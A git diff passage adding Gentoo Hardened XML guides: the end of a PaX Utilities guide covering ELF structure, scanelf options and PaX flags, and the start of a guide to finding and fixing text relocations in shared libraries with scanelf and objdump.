+link="http://refspecs.linux-foundation.org/LSB_4.0.0/LSB-Core-generic/LSB-Core-generic/elf-generic.html">
+Generic ELF spec</uri> or the <c>elf(5)</c> man page.
+</p>
+
+<p>
+An executable ELF file has the following parts:
+</p>
+
+<ul>
+  <li>
+    The <e>ELF header</e> contains information on the <e>type</e> of file (is it
+    an executable, a shared library, ...), the target architecture, the
+    location of the Program Header, Section Header and String Header in the
+    file and the location of the first executable instruction
+  </li>
+  <li>
+    The <e>Program Header</e> informs the system how to create a process from
+    the binary file. It is actually a table consisting of entries for each
+    segment in the program. Each entry contains the type, addresses (physical 
+    and virtual), size, access rights, ...
+  </li>
+  <li>
+    The <e>Section Header</e> is a table consisting of entries for each section
+    in the program. Each entry contains the name, type, size, ... and
+    <e>what</e> information the section holds.
+  </li>
+  <li>
+    Data, containing the sections and segments mentioned previously.
+  </li>
+</ul>
+
+<p>
+A <e>section</e> is a small unit consisting of specific data: instructions,
+variable data, symbol table, relocation information, and so on. A <e>segment</e>
+is a collection of sections; segments are the units that are actually
+transferred to memory.
+</p>
+
+</body>
+</section>
+<section>
+<title>Shared Objects</title>
+<body>
+
+<p>
+Way back when, every application binary contained <e>everything</e> it needed to
+operate correctly. Such binaries are called <e>statically linked</e> binaries.
+They are, however, space consuming since different applications use the same 
+functions over and over again.
+</p>
+
+<p>
+A <e>shared object</e> contains the definition and instructions for such
+functions. Every application that wants can <e>dynamically</e> link against such
+a shared object so that it can benefit from the already existing functionality.
+</p>
+
+<p>
+An application that is dynamically linked to a shared object contains
+<e>symbols</e>, references for the real functionality. When such an application
+is loaded in memory, it will first ask the runtime linker to resolve each and
+every symbol it has. The runtime linker will load the appropriate shared objects
+in memory and resolve the symbolic references between them.
+</p>
+
+</body>
+</section>
+<section>
+<title>Segments and Sections</title>
+<body>
+
+<p>
+How the ELF file is looked upon depends on the view we have: when we are dealing
+with a binary file in Execution View, the ELF file contains segments. When 
+the file is seen in Linking View, the ELF file contains sections. 
+One segment spans just one or more (continuous) sections.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="scanelf">
+<title>Extracting ELF Information from Binaries</title>
+<section>
+<title>The scanelf Application</title>
+<body>
+
+<p>
+The <c>scanelf</c> application is part of the <c>app-misc/pax-utils</c> package.
+With this application you can print out information specific to the ELF
+structure of a binary. The following table sums up the various options.
+</p>
+
+<table>
+<tr>
+  <th>Option</th>
+  <th>Long Option</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>-p</ti>
+  <ti>--path</ti>
+  <ti>Scan all directories in PATH environment</ti>
+</tr>
+<tr>
+  <ti>-l</ti>
+  <ti>--ldpath</ti>
+  <ti>Scan all directories in /etc/ld.so.conf</ti>
+</tr>
+<tr>
+  <ti>-R</ti>
+  <ti>--recursive</ti>
+  <ti>Scan directories recursively</ti>
+</tr>
+<tr>
+  <ti>-m</ti>
+  <ti>--mount</ti>
+  <ti>Don't recursively cross mount points</ti>
+</tr>
+<tr>
+  <ti>-y</ti>
+  <ti>--symlink</ti>
+  <ti>Don't scan symlinks</ti>
+</tr>
+<tr>
+  <ti>-A</ti>
+  <ti>--archives</ti>
+  <ti>Scan archives (.a files)</ti>
+</tr>
+<tr>
+  <ti>-L</ti>
+  <ti>--ldcache</ti>
+  <ti>Utilize ld.so.cache information (use with -r/-n)</ti>
+</tr>
+<tr>
+  <ti>-X</ti>
+  <ti>--fix</ti>
+  <ti>Try and 'fix' bad things (use with -r/-e)</ti>
+</tr>
+<tr>
+  <ti>-z [arg]</ti>
+  <ti>--setpax [arg]</ti>
+  <ti>Sets EI_PAX/PT_PAX_FLAGS to [arg] (use with -Xx)</ti>
+</tr>
+<tr>
+  <th>Option</th>
+  <th>Long Option</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>-x</ti>
+  <ti>--pax</ti>
+  <ti>Print PaX markings</ti>
+</tr>
+<tr>
+  <ti>-e</ti>
+  <ti>--header</ti>
+  <ti>Print GNU_STACK/PT_LOAD markings</ti>
+</tr>
+<tr>
+  <ti>-t</ti>
+  <ti>--textrel</ti>
+  <ti>Print TEXTREL information</ti>
+</tr>
+<tr>
+  <ti>-r</ti>
+  <ti>--rpath</ti>
+  <ti>Print RPATH information</ti>
+</tr>
+<tr>
+  <ti>-n</ti>
+  <ti>--needed</ti>
+  <ti>Print NEEDED information</ti>
+</tr>
+<tr>
+  <ti>-i</ti>
+  <ti>--interp</ti>
+  <ti>Print INTERP information</ti>
+</tr>
+<tr>
+  <ti>-b</ti>
+  <ti>--bind</ti>
+  <ti>Print BIND information</ti>
+</tr>
+<tr>
+  <ti>-S</ti>
+  <ti>--soname</ti>
+  <ti>Print SONAME information</ti>
+</tr>
+<tr>
+  <ti>-s [arg]</ti>
+  <ti>--symbol [arg]</ti>
+  <ti>Find a specified symbol</ti>
+</tr>
+<tr>
+  <ti>-k [arg]</ti>
+  <ti>--section [arg]</ti>
+  <ti>Find a specified section</ti>
+</tr>
+<tr>
+  <ti>-N [arg]</ti>
+  <ti>--lib [arg]</ti>
+  <ti>Find a specified library</ti>
+</tr>
+<tr>
+  <ti>-g</ti>
+  <ti>--gmatch</ti>
+  <ti>Use strncmp to match libraries. (use with -N)</ti>
+</tr>
+<tr>
+  <ti>-T</ti>
+  <ti>--textrels</ti>
+  <ti>Locate cause of TEXTREL</ti>
+</tr>
+<tr>
+  <ti>-E [arg]</ti>
+  <ti>--etype [arg]</ti>
+  <ti>Print only ELF files matching etype ET_DYN,ET_EXEC ...</ti>
+</tr>
+<tr>
+  <ti>-M [arg]</ti>
+  <ti>--bits [arg]</ti>
+  <ti>Print only ELF files matching numeric bits</ti>
+</tr>
+<tr>
+  <ti>-a</ti>
+  <ti>--all</ti>
+  <ti>Print all scanned info (-x -e -t -r -b)</ti>
+</tr>
+<tr>
+  <th>Option</th>
+  <th>Long Option</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>-q</ti>
+  <ti>--quiet</ti>
+  <ti>Only output 'bad' things</ti>
+</tr>
+<tr>
+  <ti>-v</ti>
+  <ti>--verbose</ti>
+  <ti>Be verbose (can be specified more than once)</ti>
+</tr>
+<tr>
+  <ti>-F [arg]</ti>
+  <ti>--format [arg]</ti>
+  <ti>Use specified format for output</ti>
+</tr>
+<tr>
+  <ti>-f [arg]</ti>
+  <ti>--from [arg]</ti>
+  <ti>Read input stream from a filename</ti>
+</tr>
+<tr>
+  <ti>-o [arg]</ti>
+  <ti>--file [arg]</ti>
+  <ti>Write output stream to a filename</ti>
+</tr>
+<tr>
+  <ti>-B</ti>
+  <ti>--nobanner</ti>
+  <ti>Don't display the header</ti>
+</tr>
+<tr>
+  <ti>-h</ti>
+  <ti>--help</ti>
+  <ti>Print this help and exit</ti>
+</tr>
+<tr>
+  <ti>-V</ti>
+  <ti>--version</ti>
+  <ti>Print version and exit</ti>
+</tr>
+</table>
+
+<p>
+The format specifiers for the <c>-F</c> option are given in the following table.
+Prefix each specifier with <c>%</c> (verbose) or <c>#</c> (silent) accordingly.
+</p>
+
+<table>
+<tr>
+  <th>Specifier</th>
+  <th>Full Name</th>
+  <th>Specifier</th>
+  <th>Full Name</th>
+</tr>
+<tr>
+  <ti>F</ti>
+  <ti>Filename</ti>
+  <ti>x</ti>
+  <ti>PaX Flags</ti>
+</tr>
+<tr>
+  <ti>e</ti>
+  <ti>STACK/RELRO</ti>
+  <ti>t</ti>
+  <ti>TEXTREL</ti>
+</tr>
+<tr>
+  <ti>r</ti>
+  <ti>RPATH</ti>
+  <ti>n</ti>
+  <ti>NEEDED</ti>
+</tr>
+<tr>
+  <ti>i</ti>
+  <ti>INTERP</ti>
+  <ti>b</ti>
+  <ti>BIND</ti>
+</tr>
+<tr>
+  <ti>s</ti>
+  <ti>Symbol</ti>
+  <ti>N</ti>
+  <ti>Library</ti>
+</tr>
+<tr>
+  <ti>o</ti>
+  <ti>Type</ti>
+  <ti>p</ti>
+  <ti>File name</ti>
+</tr>
+<tr>
+  <ti>f</ti>
+  <ti>Base file name</ti>
+  <ti>k</ti>
+  <ti>Section</ti>
+</tr>
+<tr>
+  <ti>a</ti>
+  <ti>ARCH/e_machine</ti>
+  <ti>&nbsp;</ti>
+  <ti>&nbsp;</ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Using scanelf for Text Relocations</title>
+<body>
+
+<p>
+As an example, we will use <c>scanelf</c> to find binaries containing text
+relocations.
+</p>
+
+<p>
+A relocation is an operation that rewrites an address in a loaded segment. Such
+an address rewrite can happen when a segment has references to a shared object
+and that shared object is loaded in memory. In this case, the references are
+substituted with the real address values. Similar events can occur inside the 
+shared object itself.
+</p>
+
+<p>
+A text relocation is a relocation in the text segment. Since text segments
+contain executable code, system administrators might prefer not to have these
+segments writable. This is perfectly possible, but since text relocations
+actually write in the text segment, it is not always feasible. 
+</p>
+
+<p>
+If you want to eliminate text relocations, you will need to make sure
+that the application and shared object is built with <e>Position Independent
+Code</e> (PIC), making references obsolete. This not only increases security,
+but also increases the performance in case of shared objects (allowing writes in
+the text segment requires a swap space reservation and a private copy of the
+shared object for each application that uses it).
+</p>
+
+<p>
+The following example will search your library paths recursively, without
+leaving the mounted file system and ignoring symbolic links, for any ELF binary
+containing a text relocation:
+</p>
+
+<pre caption="Scanning the system for text relocation binaries">
+# <i>scanelf -lqtmyR</i>
+</pre>
+
+<p>
+If you want to scan your entire system for <e>any</e> file containing text
+relocations:
+</p>
+
+<pre caption="Scanning the entire system for text relocation files">
+# <i>scanelf -qtmyR /</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Using scanelf for Specific Header</title>
+<body>
+
+<p>
+The scanelf util can be used to quickly identify files that contain a 
+given section header using the -k .section option.
+</p>
+
+<p>
+In this example we are looking for all files in /usr/lib/debug 
+recursively using a format modifier with quiet mode enabled that have been 
+stripped. A stripped elf will lack a .symtab entry, so we use the '!' 
+to invert the matching logic.
+</p>
+
+<pre caption="Scanning for stripped or non stripped executables">
+# <i>scanelf -k '!.symtab' /usr/lib/debug -Rq -F%F#k</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Using scanelf for Specific Segment Markings</title>
+<body>
+
+<p>
+Each segment has specific flags assigned to it in the Program Header of the
+binary. One of those flags is the type of the segment. Interesting values are
+PT_LOAD (the segment must be loaded in memory from file), PT_DYNAMIC (the
+segment contains dynamic linking information), PT_INTERP (the segment 
+contains the name of the program interpreter), PT_GNU_STACK (a GNU extension
+for the ELF format, used by some stack protection mechanisms), and PT_PAX_FLAGS
+(a PaX extension for the ELF format, used by the security-minded 
+<uri link="http://pax.grsecurity.net/">PaX Project</uri>.
+</p>
+
+<p>
+If we want to scan all executables in the current working directory, PATH
+environment and library paths and report those who have a writable and
+executable PT_LOAD or PT_GNU_STACK marking, you could use the following command:
+</p>
+
+<pre caption="Scanning for Write/eXecute flags for PT_LOAD and PT_GNU_STACK">
+# <i>scanelf -lpqe .</i>
+</pre>
+
+</body>
+</section>
+<section>
+<title>Using scanelf's Format Modifier Handler</title>
+<body>
+
+<p>
+A useful feature of the <c>scanelf</c> utility is the format modifier handler.  
+With this option you can control the output of <c>scanelf</c>, thereby 
+simplifying parsing the output with scripts.
+</p>
+
+<p>
+As an example, we will use <c>scanelf</c> to print the file names that contain
+text relocations:
+</p>
+
+<pre caption="Example of the scanelf format modifier handler">
+# <i>scanelf -l -p -R -q -F "%F #t"</i>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="pspax">
+<title>Listing PaX Flags and Capabilities</title>
+<section>
+<title>About PaX</title>
+<body>
+
+<p>
+<uri link="http://pax.grsecurity.net">PaX</uri> is a project hosted by the <uri
+link="http://www.grsecurity.net">grsecurity</uri> project. Quoting the <uri
+link="http://pax.grsecurity.net/docs/pax.txt">PaX documentation</uri>, its main 
+goal is "to research various defense mechanisms against the exploitation of 
+software bugs that give an attacker arbitrary read/write access to the 
+attacked task's address space. This class of bugs contains among others 
+various forms of buffer overflow bugs (be they stack or heap based), user
+supplied format string bugs, etc."
+</p>
+
+<p>
+To be able to benefit from these defense mechanisms, you need to run a Linux
+kernel patched with the latest PaX code. The <uri
+link="http://hardened.gentoo.org">Hardened Gentoo</uri> project supports PaX and
+its parent project, grsecurity. The supported kernel package is
+<c>sys-kernel/hardened-sources</c>.
+</p>
+
+<p>
+The Gentoo/Hardened project has a <uri
+link="/proj/en/hardened/pax-quickstart.xml">Gentoo PaX Quickstart Guide</uri>
+for your reading pleasure.
+</p>
+
+</body>
+</section>
+<section>
+<title>Flags and Capabilities</title>
+<body>
+
+<p>
+If your toolchain supports it, your binaries can have additional PaX flags in
+their Program Header. The following flags are supported:
+</p>
+
+<table>
+<tr>
+  <th>Flag</th>
+  <th>Name</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>P</ti>
+  <ti>PAGEEXEC</ti>
+  <ti>
+    Refuse code execution on writable pages based on the NX bit
+    (or emulated NX bit)
+  </ti>
+</tr>
+<tr>
+  <ti>S</ti>
+  <ti>SEGMEXEC</ti>
+  <ti>
+    Refuse code execution on writable pages based on the
+    segmentation logic of IA-32
+  </ti>
+</tr>
+<tr>
+  <ti>E</ti>
+  <ti>EMUTRAMP</ti>
+  <ti>
+    Allow known code execution sequences on writable pages that
+    should not cause any harm
+  </ti>
+</tr>
+<tr>
+  <ti>M</ti>
+  <ti>MPROTECT</ti>
+  <ti>
+    Prevent the creation of new executable code to the process
+    address space
+  </ti>
+</tr>
+<tr>
+  <ti>R</ti>
+  <ti>RANDMMAP</ti>
+  <ti>
+    Randomize the stack base to prevent certain stack overflow
+    attacks from being successful
+  </ti>
+</tr>
+<tr>
+  <ti>X</ti>
+  <ti>RANDEXEC</ti>
+  <ti>
+    Randomize the address where the application maps to to
+    prevent certain attacks from being exploitable
+  </ti>
+</tr>
+</table>
+
+<p>
+The default Linux kernel also supports certain capabilities, grouped in the
+so-called <e>POSIX.1e Capabilities</e>. You can find a listing of those
+capabilities in our <uri
+link="/proj/en/hardened/capabilities.xml">POSIX Capabilities</uri> document.
+</p>
+
+</body>
+</section>
+<section>
+<title>Using pspax</title>
+<body>
+
+<p>
+The <c>pspax</c> application, part of the <c>pax-utils</c> package, displays the
+run-time capabilities of all programs you have permission for. On Linux kernels
+with additional support for extended attributes (such as SELinux) those
+attributes are shown as well.
+</p>
+
+<p>
+When ran, <c>pspax</c> shows the following information:
+</p>
+
+<table>
+<tr>
+  <th>Column</th>
+  <th>Description</th>
+</tr>
+<tr>
+  <ti>USER</ti>
+  <ti>Owner of the process</ti>
+</tr>
+<tr>
+  <ti>PID</ti>
+  <ti>Process id</ti>
+</tr>
+<tr>
+  <ti>PAX</ti>
+  <ti>Run-time PaX flags (if applicable)</ti>
+</tr>
+<tr>
+  <ti>MAPS</ti>
+  <ti>Write/eXecute markings for the process map</ti>
+</tr>
+<tr>
+  <ti>ELF_TYPE</ti>
+  <ti>Process executable type: ET_DYN or ET_EXEC</ti>
+</tr>
+<tr>
+  <ti>NAME</ti>
+  <ti>Name of the process</ti>
+</tr>
+<tr>
+  <ti>CAPS</ti>
+  <ti>POSIX.1e capabilities (see note)</ti>
+</tr>
+<tr>
+  <ti>ATTR</ti>
+  <ti>Extended attributes (if applicable)</ti>
+</tr>
+</table>
+
+<note>
+<c>pspax</c> only displays these capabilities when it is linked with
+the external capabilities library. This requires you to build <c>pax-utils</c>
+with -DWANT_SYSCAP.
+</note>
+
+<p>
+By default, <c>pspax</c> does not show any kernel processes. If you want those
+to be taken as well, use the <c>-a</c> switch.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="dumpelf">
+<title>Programming with ELF files</title>
+<section>
+<title>The dumpelf Utility</title>
+<body>
+
+<p>
+With the <c>dumpelf</c> utility you can convert a ELF file into human readable C
+code that defines a structure with the same image as the original ELF file.
+</p>
+
+<pre caption="dumpelf example">
+$ <i>dumpelf /bin/hostname</i>
+#include &lt;elf.h&gt;
+
+<comment>/*
+ * ELF dump of '/bin/hostname'
+ *     10276 (0x2824) bytes
+ */</comment>
+
+struct {
+        Elf32_Ehdr ehdr;
+        Elf32_Phdr phdrs[8];
+        Elf32_Shdr shdrs[26];
+} dumpedelf_0 = {
+
+.ehdr = {
+<comment>(... Output stripped ...)</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/hardened/pic-fix-guide.xml b/xml/htdocs/proj/en/hardened/pic-fix-guide.xml
new file mode 100644
index 00000000..6a63d368
--- /dev/null
+++ b/xml/htdocs/proj/en/hardened/pic-fix-guide.xml
@@ -0,0 +1,956 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/hardened/pic-fix-guide.xml" lang="en">
+<title>HOWTO Locate and Fix .text Relocations (TEXTRELs)</title>
+
+<author title="Author">
+ <mail link="vapier@gentoo.org">Mike Frysinger</mail>
+</author>
+<author title="Author">
+ <mail link="solar@gentoo.org">solar</mail>
+</author>
+<author title="Contributor">
+ <mail link="pageexec@freemail.hu">The PaX team</mail>
+</author>
+<author title="Contributor">
+ <mail link="kevquinn@gentoo.org">Kevin F. Quinn</mail>
+</author>
+
+<abstract>A guide for tracking down and fixing .text relocations (TEXTRELs)</abstract>
+
+<!-- The content of this document is placed into the public domain, have fun -->
+
+<version>1.2</version>
+<date>2007-08-19</date>
+
+<chapter>
+<title>Introduction</title>
+<section>
+<body>
+
+<p>
+You should make sure to read the <uri link="pic-guide.xml">Introduction to 
+Position Independent Code</uri> before tackling this guide.
+</p>
+
+<p>
+This guide is x86-centric for now.  The reason being, the majority of broken 
+object files are due to poorly written x86 assembly stemming from the simple 
+fact that the x86 architecture has so few registers.  Other architectures have 
+a large enough register set that they can reserve a register as the "PIC 
+register" without incurring a performance hit.  Every architecture has to be 
+mindful of PIC and its implications, x86 just happens to be the dominant 
+architecture at the moment in the 'desktop' world of open source.
+</p>
+
+<p>
+We will update for non-x86 as we aquire details and useful examples.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Finding broken object code</title>
+<section>
+<body>
+
+<p>
+Before you can start fixing something, you got to make sure it's broken first, 
+right?  For this reason, we've developed a suite of tools named <uri 
+link="/proj/en/hardened/pax-utils.xml">PaX Utilities</uri>.  If you are not 
+familiar with these utilities, you should read the <uri 
+link="/proj/en/hardened/pax-utils.xml">PaX Utilities Guide</uri> now.  Gentoo 
+users can simply do <c>emerge pax-utils</c>.  Non-Gentoo users should be able 
+to find a copy of the source tarball in the <path>distfiles</path> on a <uri 
+link="/main/en/mirrors.xml">Gentoo Mirror</uri>.  Once you have the PaX 
+Utilities setup on your system, we can start playing around with 
+<c>scanelf</c>.
+</p>
+
+<p>
+Keep in mind that although these utilities are named PaX Utilities, they 
+certainly do not require PaX or anything else like that on your system.  
+The name is a historical artifact and want of a better name, has stuck.
+</p>
+
+<p>
+Let's see if your system has any broken files.
+</p>
+
+<pre caption="Scan your system">
+$ <i>scanelf -lpqt</i>
+TEXTREL  /usr/lib/opengl/xorg-x11/lib/libGL.so.1.2
+TEXTREL  /usr/lib/libSDL-1.2.so.0.7.2
+TEXTREL  /usr/lib/libdv.so.4.0.2
+TEXTREL  /usr/lib/libsmpeg-0.4.so.0.1.3
+TEXTREL  /usr/lib/libOSMesa.so.4.0
+TEXTREL  /usr/lib/libxvidcore.so.4.1
+</pre>
+
+<p>
+Ideally, scanelf should not display anything, but on an x86 system, this is 
+rarely the case.  Here we can see six libraries with TEXTRELs in them.  
+To quickly find out what package these files come from, Gentoo users can 
+<c>emerge portage-utils</c> and use <c>qfile</c>.
+</p>
+
+<pre caption="Determine the broken packages">
+$ <i>qfile `scanelf -qylpF%F#t`</i>
+media-libs/libdv (/usr/lib/libdv.so.4.0.2)
+media-libs/libsdl (/usr/lib/libSDL-1.2.so.0.7.2)
+media-libs/smpeg (/usr/lib/libsmpeg-0.4.so.0.1.3)
+media-libs/xvid (/usr/lib/libxvidcore.so.4.1)
+x11-base/xorg-x11 (/usr/lib/opengl/xorg-x11/lib/libGL.so.1.2)
+x11-base/xorg-x11 (/usr/lib/libOSMesa.so.4.0)
+</pre>
+
+<p>
+Now that we know the offenders, we have a choice.  We can file a bug upstream 
+(who generally don't care unless you can provide a fix), file a bug in the 
+<uri link="http://bugs.gentoo.org/">Gentoo Bugzilla</uri> (which is a nice 
+lazy cop out), or we can fix it ourselves (that is why you're reading this 
+guide right?).  You should double check that the package version you have 
+installed is the latest upstream has to offer and the latest version your 
+distro has to offer.  Who knows, maybe you can get lucky and someone else has 
+already fixed it.  If you wish to get feedback on your work, feel free to 
+contact the <mail link="hardened@gentoo.org">Gentoo hardened team</mail>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>"False" Positives</title>
+<body>
+
+<p>
+Sometimes you may come across a package which contains a mountain of TEXTRELs 
+with seemingly no relation to assembler.  This may simply be because the 
+objects were not properly compiled with the appropriate PIC flag.  The fix is 
+quite simple: make sure every object file that is linked into the final shared 
+object is compiled with the appropriate PIC flag (typically -fPIC).
+</p>
+
+<p>
+For example, let's look at the silc-plugin package.  It builds up a few 
+modules, but only compiles some of the objects with -fPIC that are linked into
+the final libsilc_core.so module.  The output of scanelf here is quite 
+extensive!
+</p>
+
+<pre caption="Run scanelf on silc-plugin">
+$ <i>scanelf -qT /usr/lib/irssi/modules/libsilc_core.so | wc -l</i>
+10734
+$ <i>scanelf -qT /usr/lib/irssi/modules/libsilc_core.so</i>
+...
+  libsilc_core.so: silc_client_ftp_ask_name [0xD542C] in silc_client_receive_new_id [0xD5380]
+  libsilc_core.so: silc_client_run_one [0xD55CA] in silc_client_receive_new_id [0xD5380]
+  libsilc_core.so: silc_id_payload_parse [0xD5842] in silc_client_packet_parse_type [0xD57B0]
+  libsilc_core.so: fgetc@@GLIBC_2.0 [0xD5857] in silc_client_packet_parse_type [0xD57B0]
+...
+</pre>
+
+<p>
+A TEXTREL on glibc's fgetc() function!?  Either people are calling fgetc() from
+assembler (and should be shot), or something else is going on.  A good rule of
+thumb is that if it seems like just about every function/variable reference 
+causes a TEXTREL and it is all done in C code, then the file was not built as
+PIC.  Just review the build output and see if the command to compile it was
+invoked with -fPIC.  If not, go fix the build system as you do not need to dig
+into the source.  Dodged the bullet this time!
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Dissecting broken object code</title>
+<section>
+<body>
+
+<p>
+So we have identified some broken libraries, and we want to fix them.  The 
+trouble is, shared library code can be huge.  They can have thousands of 
+functions which come from thousands of object files and thousands of source 
+code files which total megabytes in size (source code and compiled objects).  
+Where the hell do we start!?  Once again, Mighty Mouse^W^W<c>scanelf</c> is 
+here to save the day.  Before we dive into source code, lets check out a few 
+libraries.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Dissect libsmpeg</title>
+<body>
+
+<pre caption="Scan libsmpeg">
+<comment>[The output has been truncated from about 35 lines]</comment>
+$ <i>scanelf -qT /usr/lib/libsmpeg-0.4.so.0.1.3</i>
+  libsmpeg-0.4.so.0.1.3: (memory/fake?) [0x2FB3C] in cpu_flags [0x2FB10]
+  libsmpeg-0.4.so.0.1.3: (memory/fake?) [0x2FB42] in cpu_flags [0x2FB10]
+  libsmpeg-0.4.so.0.1.3: (memory/fake?) [0x2FB55] in IDCT_mmx [0x2FB48]
+  libsmpeg-0.4.so.0.1.3: (memory/fake?) [0x2FB84] in IDCT_mmx [0x2FB48]
+  /usr/lib/libsmpeg-0.4.so.0.1.3
+</pre>
+
+<p>
+The output here tells us that the <e>cpu_flags</e> and the <e>IDCT_mmx</e> 
+functions are to blame for our TEXTRELs.  The first field indicates that this 
+is poor usage of memory references.  Unfortunately, the symbolic name of the 
+memory being referenced has not been retained in the object code (probably 
+because the code is hand written assembly), so we need to do a little more 
+digging.  This is where the offset addresses come in to play along with the 
+<c>objdump</c> utility from the <e>binutils</e> package.  The first address 
+(e.g. 0x2FB3C) is the offset of the TEXTREL while the second address is the 
+offset of the function (e.g. 0x2FB10).  Get used to this because the behavior 
+of not retaining the symbol name is quite common.
+</p>
+
+<pre caption="Dissecting libsmpeg">
+$ <i>objdump -d /usr/lib/libsmpeg-0.4.so.0.1.3</i>
+...
+   2fb0f:       90                      nop
+
+<i>0002fb10 &lt;cpu_flags&gt;:</i>
+   2fb10:       9c                      pushf
+   2fb11:       58                      pop    %eax
+...
+   2fb32:       60                      pusha
+   2fb33:       b8 01 00 00 00          mov    $0x1,%eax
+   2fb38:       0f a2                   cpuid
+   <i>2fb3a:       89 15 d0 d3 03 00       mov    %edx,0x3d3d0</i>
+   2fb40:       61                      popa
+   <i>2fb41:       a1 d0 d3 03 00          mov    0x3d3d0,%eax</i>
+   2fb46:       c3                      ret
+   2fb47:       90                      nop
+...
+</pre>
+
+<p>
+As you can see here, the two lines picked out in the body of <e>cpu_flags</e> 
+have absolute memory references.  In this case, they both refer to memory 
+location <e>0x3d3d0</e>.  Since this object code may be loaded into any 
+address, using an aboslute reference obviously won't fly.  That means 
+everytime libsmpeg is loaded into memory, the dynamic loader has to rewrite 
+the <e>0x3d3d0</e> to the actual calculated address on the fly.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Dissect libdv</title>
+<body>
+
+<pre caption="Scan libdv">
+<comment>[The output has been truncated from about 180 lines]</comment>
+$ <i>scanelf -qT /usr/lib/libdv.so.4.0.2</i>
+  libdv.so.4.0.2: (memory/fake?) [0x14AA9] in dv_parse_ac_coeffs_pass0 [0x14A84]
+  libdv.so.4.0.2: (memory/fake?) [0x14C28] in dv_parse_ac_coeffs_pass0 [0x14A84]
+  libdv.so.4.0.2: (memory/fake?) [0x14C8A] in dv_parse_video_segment [0x14C6F]
+  libdv.so.4.0.2: (memory/fake?) [0x14CA6] in dv_parse_video_segment [0x14C6F]
+  libdv.so.4.0.2: (memory/fake?) [0x15248] in _dv_idct_block_mmx [0x15210]
+  libdv.so.4.0.2: (memory/fake?) [0x152BE] in _dv_idct_block_mmx [0x15210]
+  libdv.so.4.0.2: (memory/fake?) [0x1583D] in _dv_dct_88_block_mmx [0x157F8]
+  libdv.so.4.0.2: (memory/fake?) [0x15847] in _dv_dct_88_block_mmx [0x157F8]
+  libdv.so.4.0.2: (memory/fake?) [0x15F91] in _dv_dct_248_block_mmx [0x15F58]
+  libdv.so.4.0.2: (memory/fake?) [0x15FE6] in _dv_dct_248_block_mmx [0x15F58]
+  libdv.so.4.0.2: (memory/fake?) [0x163D3] in _dv_rgbtoycb_mmx [0x163C8]
+  libdv.so.4.0.2: (memory/fake?) [0x163DD] in _dv_rgbtoycb_mmx [0x163C8]
+  libdv.so.4.0.2: dv_vlc_class_index_mask [0x149A7] in dv_decode_vlc [0x14998]
+  libdv.so.4.0.2: dv_vlc_class_index_rshift [0x149B0] in dv_decode_vlc [0x14998]
+  libdv.so.4.0.2: dv_vlc_classes [0x149B9] in dv_decode_vlc [0x14998]
+  libdv.so.4.0.2: dv_vlc_index_mask [0x149C4] in dv_decode_vlc [0x14998]
+  libdv.so.4.0.2: sign_mask [0x149EB] in dv_decode_vlc [0x14998]
+  libdv.so.4.0.2: sign_mask [0x14A5D] in __dv_decode_vlc [0x14A1C]
+  libdv.so.4.0.2: sign_mask [0x14B82] in dv_parse_ac_coeffs_pass0 [0x14A84]
+  libdv.so.4.0.2: dv_vlc_class_lookup5 [0x14A2F] in __dv_decode_vlc [0x14A1C]
+  libdv.so.4.0.2: dv_parse_ac_coeffs_pass0 [0x14E03] in dv_parse_video_segment [0x14C6F]
+  libdv.so.4.0.2: dv_parse_ac_coeffs [0x14E51] in dv_parse_video_segment [0x14C6F]
+  libdv.so.4.0.2: dv_quant_offset [0x14E69] in _dv_quant_88_inverse_x86 [0x14E5C]
+  libdv.so.4.0.2: dv_quant_offset [0x14FB3] in _dv_quant_x86 [0x14FA4]
+  /usr/lib/libdv.so.4.0.2
+</pre>
+
+<p>
+Again, we can see that many functions (like <e>dv_parse_ac_coeffs_pass0</e> 
+and <e>_dv_idct_block_mmx</e>) have absolute memory references.  What we also 
+see is that a bunch of functions which refer to variables.  For example, 
+<e>dv_decode_vlc</e> misuses the variable <e>dv_vlc_class_index_mask</e> while 
+<e>dv_parse_video_segment</e> misuses the variable <e>dv_parse_ac_coeffs</e>.  
+Much easier to locate the problem in the source code when you have the symbol 
+name.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Dissect libSDL</title>
+<body>
+
+<pre caption="Scan libSDL">
+<comment>[The output has been truncated from about 50 lines]</comment>
+$ <i>scanelf -qT /usr/lib/libSDL-1.2.so.0.7.2</i>
+  libSDL-1.2.so.0.7.2: (memory/fake?) [0x4E213] in _ConvertMMXpII32_24RGB888 [0x4E210]
+  libSDL-1.2.so.0.7.2: (memory/fake?) [0x4E29E] in _ConvertMMXpII32_16RGB565 [0x4E29B]
+  libSDL-1.2.so.0.7.2: (memory/fake?) [0x4E3F6] in _ConvertMMXpII32_16BGR555 [0x4E3F3]
+  libSDL-1.2.so.0.7.2: (memory/fake?) [0x4E402] in _ConvertMMXpII32_16RGB555 [0x4E3FF]
+  libSDL-1.2.so.0.7.2: (memory/fake?) [0x4E555] in _Hermes_X86_CPU [0x4E529]
+  libSDL-1.2.so.0.7.2: _copy_row [0x316A2] in SDL_SoftStretch [0x313C0]
+  libSDL-1.2.so.0.7.2: _mmxreturn [0x4E4FB] in _ConvertMMXpII32_16RGB555 [0x4E3FF]
+  libSDL-1.2.so.0.7.2: _x86return [0x4E590] in _ConvertX86p16_16BGR565 [0x4E560]
+  libSDL-1.2.so.0.7.2: _x86return [0x4EE99] in _ConvertX86p32_16BGR555 [0x4EDCA]
+  libSDL-1.2.so.0.7.2: _x86return [0x4EF4D] in _ConvertX86p32_8RGB332 [0x4EE9D]
